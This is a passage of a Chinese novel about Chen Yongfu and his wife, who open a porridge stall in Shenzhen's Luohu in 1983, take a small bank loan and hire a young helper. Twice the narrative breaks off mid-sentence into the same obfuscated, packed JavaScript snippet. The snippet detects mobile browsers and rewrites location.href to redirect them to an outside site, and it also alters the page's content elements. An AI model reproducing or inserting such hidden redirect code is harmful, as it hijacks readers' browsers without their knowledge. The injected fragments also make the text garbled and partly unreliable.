《家香粥铺》 1. 1983·闯 罗湖老街的夏天，热得像一口烧干了水的大铁锅。陈永福赤着上身，蹲在还没挂招牌的铺面前，看着手里最后三张皱巴巴的“大团结”——三十块钱，这就是他带着一家人从潮阳老家闯到深圳后，剩下的全部家当。 铺面是前天盘下来的，在罗湖老街最不起眼的拐角，原先是个补鞋摊。十平米不到，墙皮斑驳得像老人的皮肤，雨季留下的水渍在天花板上蜿蜒成地图。唯一的好处是门前有棵老榕树，投下一片阴凉。 “阿福，米买回来了。” 妻子林玉兰的声音从身后传来，轻得像怕惊动什么。她拎着半袋大米，额头上全是汗，碎花衬衫的后背湿了一大片。她比陈永福小三岁，今年整三十，眼角已经有了细细的纹路。 陈永福站起身，接过米袋掂了掂：“二十斤？” “嗯，粮店说这个月粮票快用完了，下个月还不知道怎么弄。”林玉兰说着，从兜里掏出找回来的零钱，一张五块，几张毛票，“剩下的，买了点粗盐和咸菜。” 七岁的儿子□□躲在母亲身后，小手紧紧攥着母亲的衣角。孩子来深圳半个月了，还是不太敢说话。这里和潮阳太不一样了——老家推开门是水田和山，这里推开门是尘土飞扬的工地，是听不懂的各种口音，是夜里也不停歇的推土机轰鸣。 陈永福把最后三十块钱塞进一个铁皮饼干盒，盒子上印着褪色的牡丹花。这是他结婚时买的，装过喜糖，装过粮票，现在装着全家最后的希望。 “明天开张。”他说，声音有点干涩，“就卖白粥、咸菜。” 林玉兰点点头，没说话。她转身走进铺面，开始擦那张油腻腻的旧桌子。桌子只有四张条凳，挤一挤能坐八个人。灶台是前主留下的煤炉，得自己生火。水要去三十米外的公用水龙头挑，一分钱两桶。 陈永福开始钉招牌。木板是他从工地捡的边角料，刨平了，用烧黑的木炭写上“家香粥铺”四个字。他的字不好看，歪歪扭扭，但每一笔都用足了力气。 “家香……”林玉兰轻声念着，眼眶忽然红了，“离家这么远，哪来的家香。” 陈永福没接话，只是把钉子锤得更深了些。 第二天凌晨四点，天还是墨黑的。 陈永福已经挑回了第一担水。林玉兰在煤炉上生了火，蓝色的火苗舔着锅底，映着她的脸。她把米淘了三遍，倒进大锅里，加了足够的水。 白粥要熬得好，火候和时间缺一不可。米不能煮得太烂，要粒粒分明；汤不能太稀，要稠得像浆。潮汕人喝粥讲究，即便是最简单的白粥，也马虎不得。 □□被父母起床的声音弄醒了，揉着眼睛坐在角落的小竹床上。那是他的“房间”，用一块旧布帘和铺面隔开。竹床是陈永福自己编的，睡上去咯吱响。 “阿爸，我们以后都在这里了吗？”孩子问。 陈永福正把咸菜切成细丝，闻声停了停刀：“嗯，不走了。” “为什么不回阿公阿嬷家？” “因为……”陈永福想了想，“因为这里有机会。” 机会是什么，七岁的孩子不懂，陈永福自己也说不清楚。他只知道，在潮阳老家，一家五口人守着两亩薄田，一年到头连顿饱饭都难。弟弟要娶亲，妹妹要嫁妆，父母老了干不动活。作为长子，他得出来闯。 正月初八，他带着妻儿，坐了两天一夜的汽车来到深圳。同村有人在这边的工地干活，写信回来说，这里“遍地是黄金”。 黄金没看见，黄土倒是不少。整个罗湖像个大工地，到处在挖地基，盖楼房。推土机的轰鸣昼夜不停，脚手架上爬满了蚂蚁一样的人。空气里永远飘着水泥和尘土的味道。 陈永福在工地干了两个月小工，一天两块五。林玉兰给工地食堂洗菜，一天一块八。钱攒得慢，花得快。租的棚屋一个月要十五块，吃穿用度样样要钱。 直到看见这个铺面转让——前主是个湖南人，说老家有事急着回去，五十块就转，连灶具桌椅一起。陈永福心一横，拿出了全部积蓄。 粥香开始弥漫开来时，天边露出了鱼肚白。 林玉兰把咸菜装进两个搪瓷盆里，一个辣，一个不辣。又煮了一锅开水，里面泡着几个玻璃杯——客人可以免费喝水。 “开张吧。”她说。 陈永福深吸一口气，把木板招牌挂到了门外的钉子上。没有鞭炮，没有贺客，只有晨风吹过老榕树的沙沙声。 第一个客人是在七点出现的。是个二十来岁的小伙子，穿着蓝色的工装，袖子上印着“第二建筑工程公司”。他骑着一辆二八大杠自行车，在铺面前停下，看了看招牌，又看了看锅里冒热气的粥。 “粥怎么卖？”他问，一口浓重的四川话。 “白粥一毛一碗，咸菜免费。”陈永福赶紧说。 “来一碗。”小伙子在条凳上坐下，从工装口袋里掏出铝制饭盒，“装这里。” 林玉兰舀了满满一饭盒粥，又加了一大勺辣咸菜。粥太烫，小伙子边吹边吃，额头冒出汗珠。 “巴适。”他吃完后，抹了抹嘴，又从兜里掏出一毛钱放在桌上，“明天还来。” 陈永福捏着那张还带着体温的一毛钱，手心有点出汗。这是家香粥铺的第一笔收入。 接下来的一小时，陆陆续续来了七八个客人。都是附近的建筑工人，有的端着饭盒，有的直接用店里的粗瓷碗。他们匆匆吃完，又匆匆离开，奔赴各个工地。 到九点钟，粥卖完了。 林玉兰数了数收来的钱——一块三毛。除去米钱、煤钱，大概能赚六毛。 “明天多煮点。”陈永福说。 “米不够了。” “我再去买。”陈永福顿了顿，“粮票……我想想办法。” 深圳是特区，粮票制度还没完全取消，但已经开始松动。黑市上能买到高价米，只是贵。陈永福盘算着，要是每天能卖三锅粥，就能多赚点，就能买黑市米。 中午没有生意，一家人吃的是锅里刮下来的锅巴，泡点开水，就着剩下的咸菜。 □□吃得津津有味。孩子容易满足，有吃的就行。 下午，陈永福去工地找工头，想借点粮票。工头是个潮汕同乡，姓郑，四十多岁，胖胖的。 “阿福，开铺了？”郑工头正在看图纸，抬头看他。 “小本生意。”陈永福递上自己卷的烟，“郑哥，想跟你商量点事……” 听完来意，郑工头吐了个烟圈：“粮票我有，但不能白借。这样，你每天给我们工地送三十份粥，早饭。我按一毛五一份算，粮票我先垫，月底从粥钱里扣。” 陈永福心脏砰砰跳：“三十份？” “怎么，做不过来？” “做得来！做得来！”陈永福连忙说，“什么时候开始？” “明天。”郑工头在纸上写了个地址，“早上六点半前送到，工人们七点要上工。” 回家的路上，陈永福脚步轻快。三十份，一份一毛五，一天就是四块五。扣去成本，能赚两块多。一个月就是六七十块——这比他当小工强多了。 他把好消息告诉林玉兰，妻子却皱起眉头：“三十份？我们只有一口锅。” “可以再买一口。” “钱呢？” 陈永福语塞了。 晚上打烊后，夫妻俩坐在煤油灯下算账。饼干盒里所有的钱倒出来，数了三遍——四十二块七毛。买一口新锅至少要十块，还得添些碗筷。 “要不……”林玉兰迟疑着，“我去找阿珍借点？” 阿珍是她来深圳后认识的朋友，在制衣厂做工，也是潮汕人。 陈永福摇头：“刚开张就借钱，不好。” 两人沉默了一会儿，煤油灯的灯芯噼啪响了一声。 “我想想办法。”陈永福最后说。 办法在第二天早上自己送上门了。那是个穿着白衬衫、梳着分头的年轻男人，看起来二十五六岁。他骑着一辆崭新的永久牌自行车，车把上挂着一个黑色公文包。在粥铺前停下时，他先看了看手表——一块上海牌手表，在晨光里闪着光。 “老板，来碗粥。”他说的是普通话，带点北方口音。 “好嘞。”陈永福应着，盛粥时多看了一眼这个人。在满是建筑工人的老街，这样打扮的人不多见。 年轻人吃得慢，一边吃一边打量着铺面。吃完后，他没急着走，而是掏出烟，递给陈永福一支。 “谢谢，我不抽。”陈永福摆手。 “老板贵姓？” “免贵姓陈，陈永福。” “我姓周，周明远。”年轻人点上烟，“陈老板这铺子刚开张？” “第三天。” “生意怎么样？” “还过得去。”陈永福谨慎地回答。 周明远笑了笑，从公文包里拿出一张名片，递给陈永福。名片是印刷的，上面写着“深圳经济特区贸易公司”，下面一行小字“业务经理”。 陈永福接过名片，手有些抖。他这辈子第一次收到名片。 “陈老板，”周明远弹了弹烟灰，“我看你这位置不错，老榕树下，阴凉。就是铺面太小了。” “小本生意，够了。” “不够。”周明远摇摇头，“深圳发展快，以后人会越来越多。你这粥铺要是做大点，生意肯定好。” 陈永福苦笑：“周经理说笑了，我们哪有本钱做大。” “本钱可以借。”周明远凑近了些，压低声音，“我是做贸易的，认识银行的人。现在国家鼓励个体户，有小额贷款政策。你要是想扩大，我可以帮你牵线。” 陈永福的心跳加快了：“贷款？” “对，不用抵押，只要有人担保就行。”周明远站起身，“陈老板考虑考虑。我这两天都在附近办事，明天还来喝粥。” 他留下一毛钱，骑上自行车走了。 陈永福捏着那张名片，站在老榕树下，看着周明远的背影消失在老街尽头。 “那个人说什么？”林玉兰走过来问。 陈永福把周明远的话说了。林玉兰听完，眉头皱得更紧：“贷款？那不就是借钱？借了不用还吗？” “要还的，还要利息。” “那不能借。”林玉兰斩钉截铁，“阿爸说过，饿死不做盗，穷死不借债。” 陈永福没说话。父亲的话他记得，可是……一天四块五的收入太诱人了。如果真能扩大铺面，添几口锅，雇个人手，一天赚十块、二十块也不是不可能。 那天晚上，陈永福失眠了。 他躺在竹席上，听着妻子均匀的呼吸，听着儿子偶尔的梦呓，听着远处工地隐约的机器声。深圳的夜晚从不真正安静，总有某种声音在暗处涌动，像是这座城市的心跳。 他想起了离开潮阳前夜，父亲在祠堂里跟他说的话。 “阿福，你是长子，这个家以后要靠你了。去深圳，闯一闯，闯出来了是本事，闯不出来……也要活着回来。” 母亲在一旁抹眼泪，往他行李里塞了一包家乡土：“水土不服的时候，泡点水喝。” 现在那包土还压在行李最底下，用红布包着。 陈永福翻了个身，看着窗外老榕树的剪影。树叶在夜风里轻轻晃动，像是无数只手掌，在黑暗中招摇。 第三天，周明远果然又来了。这次他不是一个人，还带了个戴眼镜的中年人，介绍说是银行的信贷员，姓李。 “李同志，这就是陈老板。”周明远介绍道，“陈老板，李同志专门来看看你的铺子，评估一下贷款资格。” 李信贷员推了推眼镜，仔细打量着粥铺，又问了几个问题：每天营业额多少，成本多少，有没有固定客源。 陈永福一一回答，手心全是汗。 “原则上，个体工商户可以申请五百元以下的小额贷款。”李信贷员说，“但需要两个有正式工作的担保人。” “担保人我可以找一个。”周明远说，“陈老板你再找一个就行。” 陈永福脑子飞快转着。有正式工作的……郑工头算不算？可是人家凭什么给他担保？ “我考虑考虑。”他最后还是说。 送走两人后，林玉兰把他拉到后边：“你真想贷款？” “我在想……” “想什么？五百块，我们得还到什么时候？”林玉兰急了，“而且还要担保人，万一我们还不上，不是连累别人？” 陈永福知道妻子说得对，可心里那股火就是灭不掉。他看着这条老街，看着来来往往的人，忽然有种强烈的预感——如果现在不抓住机会，以后会后悔。 下午，他去了郑工头的工地。 郑工头正在训人，看见他，摆了摆手让他等会儿。陈永福蹲在工地边的水泥管上，看着工人们抬钢筋、拌水泥。每个人都汗流浃背，但动作很快，没有人偷懒。 这就是深圳速度——他听工人们说过这个词。 半小时后，郑工头走过来，递给他一支烟：“想好了？要送三十份粥？” “想好了。”陈永福接过烟，没点，“郑哥，还有件事想求你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380735|200163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “说。” “我想贷点款，扩大铺面。银行要担保人……郑哥能不能帮我担保？” 郑工头盯着他看了好一会儿，猛吸一口烟：“阿福，你知道担保是什么意思吗？” “知道。要是还不上，你要替我还。” “知道你还开口？”郑工头笑了，不知是苦笑还是什么，“咱们认识才几个月？” 陈永福脸红了：“郑哥要是不方便，就当我没说……” “我没说不帮。”郑工头把烟头踩灭，“这样，你先把送粥的事做好。要是能坚持一个月，每天准时送到，我就给你担保。” 陈永福眼睛亮了：“真的？” “我老郑说话算话。”郑工头拍拍他的肩，“但是阿福，我得提醒你。贷款容易还款难，利息是钱，时间也是钱。你得想清楚，有没有那个本事把生意做大。” “我想清楚了。”陈永福说。 回家的路上，他开始盘算要买的东西：一口大锅，二十个新碗，两张桌子……还得找人把铺面往后扩一点，老榕树下的空地可以利用起来。 钱呢？钱从哪里来？ 他想到了饼干盒里的四十二块七毛，想到了周明远说的五百块贷款，还想到了老家父母床底下的那个陶罐——里面装着给弟弟娶亲的钱，总共两百块。 不能动那个钱。陈永福立刻打消了这个念头。弟弟二十五了，在农村已经算大龄，亲事不能再拖。 那就只能贷款。 晚上，他跟林玉兰摊牌了。 “郑工头答应担保，条件是送粥满一个月不出错。”陈永福说，“我想好了，贷款五百，用三个月。三个月后要是生意没起色，我就回去工地干活，慢慢还。” 林玉兰没说话，只是低头缝补儿子磨破的裤子。煤油灯的光在她脸上跳跃，看不清表情。 “玉兰……”陈永福伸手想碰她的肩。 “你想做就做吧。”林玉兰忽然开口，声音很轻，“反正这个家从来都是你说了算。” 这话像根针，扎进陈永福心里。他知道妻子不高兴，可是开弓没有回头箭，话已经说出去了。 “我会做成的。”他说，像是在保证，又像是在说服自己，“一定会。” 接下来的一个月，陈永福像上了发条的钟。每天凌晨三点起床，挑水、生火、熬粥。三十份工地粥要在六点半前送到，这意味着四点半就得开始装盒。林玉兰负责打包，用旧棉被保温，陈永福用扁担挑着两个大竹篮，步行二十分钟送到工地。 送完粥回来，铺面正好开张。早上的客人主要是建筑工人，中午有些附近办事的人，晚上则是一些舍不得吃贵的、又想喝口热乎的散工。 陈永福发现，很多人喝粥不只是为了填肚子。他们会坐在老榕树下，慢慢地喝，有时候会聊聊天。聊老家的孩子，聊工地的辛苦，聊对未来的迷茫。 他渐渐记住了几个常客：四川来的小张，爱加辣咸菜；湖南的老李，每次都要多要一勺粥汤；江西的小王，总是带着自己的搪瓷缸，说店里的碗不干净。 粥铺成了一个小小的信息站。谁哪个工地招工，哪里的工钱高，哪家店卖东西便宜……消息在这里流传。 一个月很快过去，郑工头的那三十份粥，一天没断，一次没晚。 第三十天的早上，郑工头接过粥时，拍了拍陈永福的肩膀：“行，你小子有信用。担保的事，我认了。” 陈永福鼻子一酸，差点掉眼泪。 贷款手续办得出乎意料的顺利。周明远带着他和郑工头去了银行，填了几张表格，李信贷员问了几个问题，最后说：“五百元，年利率百分之七点二，期限一年，按月还款。有困难可以申请延期，但不能超过三个月。” 陈永福在借款合同上按了手印，红色印泥沾在食指上，像是某种烙印。 拿到钱的那天下午，他把五百元现金铺在铺面的小桌上，和林玉兰、儿子一起看。十元一张的“大团结”，整整五十张，厚厚一沓。 “这么多钱……”林玉兰喃喃道。 □□伸手想摸，被陈永福轻轻拍开：“不能碰，这是要还的。” 他拿出早就列好的清单：一口直径一米的大铁锅，三十五元；三十个粗瓷碗，十五元；两张折叠桌，二十元；二十把塑料凳，三十元……林林总总算下来，要花掉将近两百元。 剩下的三百元，他打算留作周转资金——买米、买煤、买咸菜，还要预备着生病或意外。 “明天我去市场。”陈永福把钱小心地收进饼干盒，“玉兰，你看铺子。建国，帮妈妈看火，别乱跑。” 儿子用力点头。 那天晚上，陈永福又失眠了。但这次不是因为焦虑，而是因为兴奋。他脑子里全是规划：铺面往后扩一米，能多摆两张桌子；老榕树下搭个棚子，雨天也能做生意；要是生意好，以后可以加卖炒粉、汤面…… 他越想越远，甚至想到了在深圳买房，把父母接来，弟弟妹妹也过来帮忙。一家人团聚在这个新的城市，开始新的生活。 凌晨两点，他悄悄起床，点起煤油灯，拿出纸笔开始画草图。他文化程度不高，只上过小学，字写得歪歪扭扭，但画图还行。铺面的布局，灶台的位置，桌椅的摆放……一笔一画，勾勒出一个模糊却明亮的未来。 林玉兰不知什么时候醒了，披着衣服走过来，看着他在灯下忙碌。 “睡吧，明天还要早起。”她说。 “就快画好了。”陈永福头也不抬。 林玉兰在他身边坐下，看着那些线条和数字。半晌，她轻声说：“阿福，我有点怕。” 陈永福停下笔，转头看她。 “怕什么？” “怕我们还不上钱，怕生意做不好，怕……”林玉兰顿了顿，“怕这个城市太大了，我们这么小，会被吞掉。” 陈永福握住妻子的手。那双手因为常年劳作，粗糙得像砂纸，手掌上有厚厚的茧。 “不会的。”他说，声音很坚定，“我们有手有脚，肯吃苦，就一定能在深圳活下去。” 窗外，远处工地的探照灯划破夜空，像一把光剑，刺向黑暗深处。推土机的轰鸣隐约传来，那是这座城市永不疲倦的脉搏。 1983年的夏天，在家香粥铺的煤油灯下，在两张对未来充满渴望又带着恐惧的脸上，深圳的故事刚刚翻开第一页。 而老榕树静静立在夜色中，见过无数个这样的夜晚，也将在未来见证无数个黎明。它的根深深扎进这片土地，像是某种隐喻——只有扎下根来，才能枝繁叶茂。 2. 立灶 贷款下来的第三天，陈永福起了个大早。天还没亮透，灰蒙蒙的像鱼肚子。他揣着两百块钱，骑上从郑工头那里借来的三轮车，往罗湖市场去。那三轮车除了铃不响哪儿都响，蹬起来吱呀吱呀的，链条打在挡泥板上，啪嗒啪嗒的。 市场里已经热闹起来了。卖菜的、卖肉的、卖水产的，吆喝声此起彼伏。空气里混着鱼腥味、泥土味和汗味。陈永福推着三轮车在人堆里挤，眼睛在各个摊位扫。 他要买一口大锅。 找了三家卖厨具的，最后在一家潮汕老乡的摊前停下。老板姓蔡，揭阳人，听口音就亲切。 “要多大？”蔡老板问。 “一米宽的。”陈永福比划着，“煮粥用。” 蔡老板从后面搬出一口铁锅，黑黝黝的，锅底厚实。“这个好，受热匀，不容易糊底。三十五块。” 陈永福蹲下来，用手指敲了敲锅沿，声音沉闷实在。他又看了看锅底，平整光滑。“三十行不行？” “老弟，我这进价就二十八了。”蔡老板摇头，“最多让两块，三十三。” 两人磨了十分钟嘴皮子，最后三十二块成交。陈永福付钱时，手指在那些“大团结”上停了停。三十二块，抵得上工地小工半个月的工钱了。他咬咬牙，抽出四张，找回八块。 锅太大，三轮车放不下。蔡老板找了根麻绳，帮着把锅绑在车斗后面。锅沿高出车斗一大截，陈永福蹬车时得小心翼翼，怕刮到人。 接着去买碗。 碗摊的老板是个湖南女人，说话又快又急。粗瓷碗，蓝边，一碗一毛五。陈永福要了三十个，四块五。女人用稻草绳把碗十个一捆扎好，捆了三捆放进车斗。 “小心点放，别磕着。”她说。 桌子椅子是在旧货市场买的。两张折叠木桌，桌腿有些晃，但用钉子加固一下还能用。二十把塑料凳，红色的，有些褪色了，但没破。一共花了四十五块。 等买完这些，太阳已经升起来了。七月的深圳，早上八点就开始热。陈永福蹬着满载的三轮车往回走，衬衫湿透了贴在背上。 回到铺面时，林玉兰已经在熬第二锅粥了。早上的三十份送完了，店里还有三四个工人在喝粥。看见陈永福买回来的东西，林玉兰眼睛亮了亮，但没说什么，转身继续搅锅里的粥。 陈永福开始卸货。锅太重，一个人搬不动。隔壁修自行车的王师傅看见了，过来搭了把手。两人吭哧吭哧把锅抬进铺面，放在早就清出来的位置上。 “哟，换大锅了？”王师傅擦了把汗，“要扩大生意啊？” “试试看。”陈永福递给他一支烟。 王师傅接过烟别在耳朵上：“有魄力。这老街就缺个像样的吃饭地方。那些工地食堂，菜贵量又少。” 这话让陈永福心里踏实了点。他把桌子凳子搬出来，在老榕树下摆开。两张桌子，八条凳子，再加上铺面里的两张桌子，现在总共能坐十六个人了。 摆好桌椅，他蹲在门口抽烟，看着眼前的一切。老榕树的影子慢慢移动，阳光从树叶缝隙漏下来，在地上洒出斑斑点点的光。几个路过的工人朝这边看了看，有人停下脚步，问了句“现在有位置坐了啊”，然后进来要了碗粥。 中午生意比平时好了些。两张新桌子都坐满了，还有人等着。林玉兰忙得脚不沾地，盛粥、收钱、擦桌子。陈永福负责添煤、挑水、收拾碗筷。七岁的□□蹲在角落里洗碗，小手在木盆里搓着那些粗瓷碗。 到下午两点，粥卖完了。林玉兰数了数钱，七块八毛。比平时多了快三块。 “要是晚上也开，能卖更多。”陈永福说。 林玉兰看他一眼：“晚上谁还喝粥？” “那些加班的，下晚班的。”陈永福说，“工地有时候赶工，干到八九点。他们总得吃东西。” 林玉兰没吭声，把收来的钱一张张抚平，叠好，放进饼干盒里。 晚上，他们真的多熬了一锅粥。 结果还真有人来。先是两个下班的建筑工人，满脸灰土，坐下来连喝三碗。接着是个戴眼镜的年轻人，背着帆布包，说是刚下班，饿得慌。后来又来了几个，都是附近做工的。 到九点半，粥又卖完了。这锅粥小些，卖了四块二。 关门的时候，陈永福算了算账。今天总共卖了十二块，成本大概五块，赚了七块。如果每天都能这样，一个月就是两百一十块。扣掉贷款月供四十二块，还能剩一百六十多。 这个数字让他心跳加快了。 睡觉前，他把剩下的三百多块钱从饼干盒里拿出来，又数了一遍。林玉兰在铺面后面用木板隔出来的小间里铺床，听见他数钱的声音，探出头来。 “还不睡？” “就睡。”陈永福把钱收好，想了想，抽出十块钱，“明天买点肉，熬点肉末粥试试。光白粥咸菜，久了人家也会腻。” 林玉兰接过钱，小心地揣进兜里：“肉粥卖多少钱一碗？” “一毛五吧。肉放少点，提个味就行。” □□已经在小竹床上睡着了，梦里咂了咂嘴。孩子这几天开心了些，因为爸妈都在身边，而且店里人多热闹。他有时候会帮客人拿筷子，客人夸他一句，他能高兴半天。 夜深了，老街安静下来。只有远处偶尔传来几声狗叫，和更远处工地隐约的机器声。陈永福躺在妻子身边，睁着眼睛看头顶的木板。木板缝里透着外面路灯的光，一道一道的，像是把黑夜切成了条。 他想起了周明远。那个穿白衬衫的年轻人，这两天没见来。不知道在忙什么。还有郑工头，今天送粥时跟他说，工地要赶进度，下个月开始可能要加夜班，问他晚上能不能送点吃的过去。 生意好像真的要起来了。 但他心里还是悬着一块石头。贷款要还，铺面要守，一家人要吃饭。不能出错，一步都不能错。 第二天早上四点半，他就起来了。 挑水，生火，熬粥。今天要试做肉末粥。林玉兰把买回来的半斤猪肉剁成末，用盐和酱油腌了。等白粥熬到七分熟，把肉末撒进去，再煮一会儿，撒点葱花。 第一锅肉末粥出锅时，香味飘了半条街。 早上的工人来喝粥，闻着味就问：“今天有肉粥？” “有，一毛五一碗。” “来一碗试试。” 肉粥很快卖完了。三十个工人里，有十八个选了肉粥。白粥反而剩了些。陈永福心里有了底。人都是想吃点好的，哪怕只是多一点点肉末。 上午，周明远来了。 他还是那身白衬衫，但今天看起来有些疲惫，眼里有血丝。要了一碗肉粥，慢慢喝着。 “陈老板生意越做越好了。”他说。 “托您的福。”陈永福给他加了点咸菜，“周经理最近忙？” “忙，到处跑。”周明远揉了揉太阳穴，“深圳变化快，一天一个样。昨天那边还在挖地基，今天已经开始浇混凝土了。” 喝完粥，周明远没急着走。他从公文包里拿出一份报纸，是《深圳特区报》，头版登着特区建设的新闻。 “陈老板看报纸吗？” “认字不多。”陈永福老实说。 “要多看看。”周明远把报纸摊开，指着一篇文章，“你看这里说，市里要大力发展第三产业。什么是第三产业？服务业，餐饮业，零售业，都算。你们这粥铺，就是第三产业。” 陈永福似懂非懂地点头。 “所以啊，你们赶上了好时候。”周明远收起报纸，“好好干，以后说不定能开分店，做成连锁。” 连锁是什么，陈永福不知道。但他记住了“好时候”这三个字。 送走周明远，陈永福把那份报纸拿起来，努力认上面的字。他文化程度不高，小学毕业就下地干活了。很多字不认识，但能看懂大概意思。报纸上说深圳要建高楼，要修路，要来很多投资。 他忽然觉得，自己这个小粥铺，好像和那些大事有了某种联系。虽然很小，但也是这城市变化的一部分。 中午的时候，来了个女客人。 二十出头的样子，穿着碎花衬衫，蓝布裤子，扎两个麻花辫。她站在铺面前犹豫了一下，才小声问：“粥多少钱一碗？” “白粥一毛，肉粥一毛五。” “要一碗白粥。” 林玉兰盛粥时，多看了她两眼。女孩脸色不太好，眼睛有点肿，像是哭过。她端着粥坐到最角落的位置，小口小口地喝，喝得很慢。 喝完了，她没马上走，坐在那里发呆。手里捏着个手帕，捏得紧紧的。 林玉兰走过去：“姑娘，还要添点吗？锅里还有。” 女孩摇摇头，从兜里掏出一毛钱，放在桌上。起身时，晃了一下，差点摔倒。林玉兰赶紧扶住她。 “没事吧？” “没事，谢谢。”女孩声音很轻，“就是有点头晕。” “早饭没吃？” 女孩点点头。 林玉兰想了想，转身盛了半碗粥汤，递给她：“这个不要钱，喝点暖暖胃。” 女孩接过碗，手有点抖。喝了两口，眼泪忽然掉下来，砸进碗里。 “姑娘，你这是……”林玉兰有点慌。 “我没事，没事。”女孩抹了抹眼泪，把碗放下，“谢谢老板娘。” 她匆匆走了，背影单薄得像片叶子。 陈永福走过来：“怎么了？” “不知道，看着像有什么难处。”林玉兰望着女孩离开的方向，“年纪轻轻的，一个人来深圳，不容易。” 那天下午，林玉兰一直惦记着那个女孩。直到傍晚，女孩又来了。这次她看起来平静了些，还是要了一碗白粥，坐在老位置慢慢喝。 林玉兰趁盛咸菜的机会，过去和她说话：“姑娘是哪里人？” “梅县。” “来深圳打工？” “嗯，在制衣厂。”女孩顿了顿，“昨天……昨天被开除了。” “为什么？” “说我手脚慢，赶不上流水线。”女孩低下头，“可我真的很努力了。” 林玉兰在她对面坐下：“那你现在住哪儿？” “跟几个老乡租了个棚屋，还能住几天。可是没工作了，下个月房租不知道怎么办。” 两人沉默了一会儿。老榕树上有知了在叫，一声长一声短。 “你会做什么？”林玉兰问。 “我会做饭，会缝衣服，还会……还会算账，我读过初中。” 林玉兰回头看了陈永福一眼。陈永福正在灶台前添煤，背对着她们，但显然听见了。 晚上打烊后，夫妻俩商量这事。 “店里忙不过来，可以请个人。”陈永福说，“一个月给三十块，包吃住。” “三十块是不是少了点？制衣厂一个月有四十多。” “我们小本生意，给不了那么多。”陈永福说，“而且包吃住，她省了房租饭钱，实际拿到手的比四十多。” 林玉兰想了想：“那明天问问她愿不愿意。” 第二天女孩再来时，林玉兰跟她说了。女孩眼睛亮了，但很快又暗下去：“可是我……我没做过餐饮。” “可以学。”林玉兰说，“就是盛粥收钱洗碗，不难。” 女孩咬了咬嘴唇：“那我试试。谢谢老板娘，谢谢老板。” 她叫黄秀英，今年十九岁。家里四个姐妹，她排行老三。初中毕业没考上高中，在家干了两年农活，听说深圳能赚钱，就跟着老乡来了。 黄秀英住进了铺面后面用木板隔出来的小间，和□□的竹床只隔一道布帘。她行李很少，就一个帆布包，里面两件换洗衣服，一个搪瓷缸，一把梳子。 有了帮手， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380736|200163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林玉兰轻松多了。黄秀英手脚勤快，眼里有活，不用吩咐就知道该做什么。她还会算账，收钱找零从不出错。 生意一天天好起来。早上的工地订单增加到四十份，中午晚上店里也常常满座。有时候还要翻台，一桌客人走了，马上又有新的坐下。 陈永福开始琢磨增加品种。除了白粥肉粥，他又试做了皮蛋粥、鱼片粥。皮蛋贵，就少放点，切碎了撒在粥面上，卖两毛一碗。鱼片粥用的巴浪鱼，便宜，但腥，要用姜丝和胡椒粉压味。 老街上的其他摊主开始注意到家香粥铺的变化。修自行车的王师傅有时候会过来喝碗粥，说几句闲话。卖水果的阿婆每天收摊前，会拿几个有点磕碰的水果过来，换碗粥喝。开杂货铺的老李，偶尔会赊点酱油盐巴给陈永福，月底结账。 粥铺成了老街的一个小中心。工人们在这里碰头，约活儿；小贩们在这里歇脚，聊天；过路的人在这里填饱肚子，继续赶路。 八月中的一天，郑工头来找陈永福，说工地要赶国庆献礼工程，接下来一个月都要通宵施工。 “晚上十一点，要送五十份夜宵。”郑工头说，“粥啊粉啊都行，要顶饿。一毛五一份，做不做？” “做！”陈永福想都没想就答应了。 五十份，就是七块五。加上白天的收入，一天能超过二十块了。 但问题是，晚上十一点送，意味着要熬到那个时候。而且五十份夜宵，光靠现在的锅不够。 他又去买了一口锅。这次是二手锅，二十五块。两口锅同时开火，一口熬粥，一口煮汤粉。汤粉简单，米粉煮熟，加点肉末青菜，浇一勺骨头汤。骨头是肉摊上便宜买的，熬一锅汤能用两天。 黄秀英主动说她可以帮忙送夜宵。“我年轻，不怕走夜路。” 陈永福想了想，同意了。但让林玉兰给她做了个哨子，挂在脖子上。“万一有什么事，就吹哨子。老街虽然熟人多，但还是小心点。” 送夜宵的第一天，晚上十点，粥铺还亮着灯。 两口锅都在冒热气。一口熬着皮蛋瘦肉粥，一口煮着米粉。黄秀英把五十个铝饭盒排开，林玉兰一个个盛满，盖上盖子，用旧棉被打包好。 陈永福检查了三遍，确认数量没错，味道合适。 十点半，黄秀英推着三轮车出发了。车上挂着马灯，摇摇晃晃的光照亮前面一小段路。陈永福站在铺面门口，看着她拐过街角，消失在夜色里。 他心里有些不安。黄秀英毕竟是个女孩子，走夜路不安全。但眼下没有别的办法。他想着，等这个月做完，赚了钱，就去买辆二手自行车，送餐能快些，也安全些。 十一点二十，黄秀英回来了。三轮车空了，她脸上带着笑。 “送到了，郑工头说粥好喝，粉也好吃。工人们都抢着要。” 陈永福松了口气：“路上没事吧？” “没事，就是有条狗追了我一段，我按铃把它吓跑了。” 林玉兰端出一碗留着的粥：“快吃点，累了吧？” 黄秀英接过碗，蹲在门口吃起来。月光照在老街上，石板路泛着青白色的光。远处工地灯火通明，打桩机的声音咚咚咚的，像这座城市的心跳。 那天晚上，陈永福又失眠了。不过这次不是因为焦虑，而是因为盘算。 一天二十块，一个月就是六百块。扣掉成本两百，人工三十，贷款月供四十二，还能剩三百多。三百多啊，在老家要挣大半年。 